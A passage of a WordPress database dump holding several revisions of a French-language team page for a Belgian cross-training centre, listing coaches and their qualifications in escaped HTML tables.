&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:54:26', '2013-07-03 19:54:26', '', 20, 'http://www.crosstrainingcenter.be/?p=252', 0, 'revision', '', 0),
(253, 1, '2013-07-03 19:55:18', '2013-07-03 19:55:18', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoatch\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height:600px\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:55:18', '2013-07-03 19:55:18', '', 20, 'http://www.crosstrainingcenter.be/?p=253', 0, 'revision', '', 0),
(255, 1, '2013-07-03 19:56:59', '2013-07-03 19:56:59', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height:290px\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoatch\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height:290px\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height:290px\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height:290px\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height:290px\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height:290px\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:56:59', '2013-07-03 19:56:59', '', 20, 'http://www.crosstrainingcenter.be/?p=255', 0, 'revision', '', 0),
(254, 1, '2013-07-03 19:55:48', '2013-07-03 19:55:48', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoatch\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height:280px\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; 